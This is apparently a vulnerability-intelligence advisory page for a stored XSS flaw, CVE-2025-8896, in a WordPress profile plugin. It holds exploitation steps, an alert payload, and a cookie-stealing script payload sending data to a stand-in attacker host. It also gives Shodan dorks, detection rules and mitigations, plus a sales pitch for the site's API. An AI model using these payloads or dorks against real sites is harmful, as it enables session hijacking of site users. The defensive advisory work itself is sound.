☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-8896

CVE-2025-8896 Cross-Site Scripting in User profile builder
📅 PUBLISHED: 2025-08-16 06:39 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.06%
👁️
0.06% probability
1.4× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-8896 is a Stored Cross-Site Scripting (XSS) vulnerability in the User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor WordPress plugin. This flaw affects all versions up to and including 3.14.3. The vulnerability resides in the gdpr_communication_preferences[] parameter, which is insufficiently sanitized and escaped. An authenticated attacker with at least Subscriber-level access can inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the injected payload. The exploit is only viable when the GDPR Communication Preferences module is enabled and at least one GDPR Communication Preferences field has been added to the edit profile form.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx. The plugin is developed by the vendor "User profile builder" and is distributed through the WordPress plugin repository.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector (AV): Network – The attack can be executed remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): Low – Attacker needs Subscriber-level access.
  • User Interaction (UI): None – The attack does not require user interaction.
  • Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
  • Confidentiality (C): Low – Limited information disclosure.
  • Integrity (I): Low – Limited ability to modify data.
  • Availability (A): None – No impact on availability.

Threat Level: Medium. The requirement for authentication and the specific module configuration reduce the attack surface, but the potential for stored XSS in a WordPress environment can lead to session hijacking, defacement, or phishing.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the WordPress plugin ecosystem. The gdpr_communication_preferences[] parameter is used to store user preferences for GDPR communication. The plugin fails to properly sanitize input and escape output when rendering this data. An attacker with Subscriber-level access can submit a crafted payload via the edit profile form. This payload is stored in the WordPress database and later rendered without proper escaping, causing the script to execute in the browser of any user viewing the affected page.

Root Cause: Insufficient input sanitization and output escaping on the gdpr_communication_preferences[] parameter.

Prerequisites for Exploitation:

  1. The GDPR Communication Preferences module must be enabled in the plugin settings.
  2. At least one GDPR Communication Preferences field must be added to the edit profile form.
  3. The attacker must have a valid account with Subscriber-level access or higher.

Attack Flow:

  1. Attacker logs in as a Subscriber.
  2. Attacker navigates to the edit profile page.
  3. Attacker injects malicious JavaScript into the gdpr_communication_preferences[] field.
  4. The payload is stored in the database.
  5. When an administrator or other user views the profile or a page that displays the preferences, the script executes.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is identified as the handling of gdpr_communication_preferences[] in the plugin's PHP files. The vulnerable code likely uses $_POST['gdpr_communication_preferences'] without proper sanitization and then echoes it without escaping.

Vulnerable Code (Conceptual):

// Vulnerable: No sanitization or escaping
$preferences = $_POST['gdpr_communication_preferences'];
update_user_meta($user_id, 'gdpr_communication_preferences', $preferences);
// Later in output:
echo get_user_meta($user_id, 'gdpr_communication_preferences', true);

Patched Code (Conceptual):

// Patched: Sanitize and escape
$preferences = sanitize_text_field($_POST['gdpr_communication_preferences']);
update_user_meta($user_id, 'gdpr_communication_preferences', $preferences);
// Later in output:
echo esc_html(get_user_meta($user_id, 'gdpr_communication_preferences', true));

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Install WordPress with the User Profile Builder plugin (version 3.14.3 or earlier).
  2. Enable the GDPR Communication Preferences module and add a field to the edit profile form.
  3. Create a Subscriber-level user account.

Exploitation Steps:

  1. Log in as the Subscriber.
  2. Navigate to the edit profile page (e.g., /wp-admin/profile.php).
  3. In the GDPR Communication Preferences field, inject the following payload:
    <script>alert('XSS')</script>
    
  4. Save the profile.
  5. Log in as an administrator and view the profile page. The script will execute.

Advanced Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

  • Monitor for unusual POST requests to /wp-admin/profile.php containing script tags in the gdpr_communication_preferences[] parameter.
  • Look for stored XSS indicators in the wp_usermeta table where meta_key is gdpr_communication_preferences.

Mitigation:

  • Disable the GDPR Communication Preferences module if not required.
  • Implement a Web Application Firewall (WAF) rule to block script tags in the parameter.
  • Apply input validation and output escaping in custom code.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST requests to /wp-admin/profile.php with gdpr_communication_preferences[] containing <script> tags.
    • Outbound connections to attacker-controlled domains from WordPress admin pages.
  • Host IOCs:

    • Entries in wp_usermeta with meta_key = gdpr_communication_preferences containing JavaScript code.
    • Modified WordPress files (e.g., plugin files) if the attacker escalates privileges.
  • Log IOCs:

    • WordPress debug logs showing PHP warnings related to gdpr_communication_preferences.
    • Web server access logs with unusual POST data.

Detection Engineering

YARA Rule

rule CVE_2025_8896_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in User Profile Builder GDPR preferences"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8896"
    strings:
        $payload = /gdpr_communication_preferences.*<script/i
        $meta_key = "gdpr_communication_preferences"
    condition:
        $payload or $meta_key
}

Sigma Rule

title: CVE-2025-8896 Stored XSS in User Profile Builder
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of stored XSS via gdpr_communication_preferences parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/profile.php'
        cs-uri-query|contains: 'gdpr_communication_preferences'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in preferences (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-8896 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/profile.php"; http_uri; content:"gdpr_communication_preferences"; http_client_body; content:"<script"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the GDPR Communication Preferences module in the plugin settings.
  2. Remove any existing GDPR Communication Preferences fields from edit profile forms.
  3. Scan the WordPress database for stored XSS payloads in wp_usermeta where meta_key = gdpr_communication_preferences.

Long-term Fix:

  • Apply input sanitization (e.g., sanitize_text_field()) and output escaping (e.g., esc_html()) to the gdpr_communication_preferences[] parameter.
  • Update to a patched version when released by the vendor.

Workaround:

  • Use a WAF to block requests containing <script> in the gdpr_communication_preferences[] parameter.
  • Restrict edit profile access to trusted users only.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. All information is provided for educational and defensive purposes only.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"User Profile Builder"
http.html:"user-profile-builder"
http.html:"wppb-gdpr-communication-preferences"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-8896/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.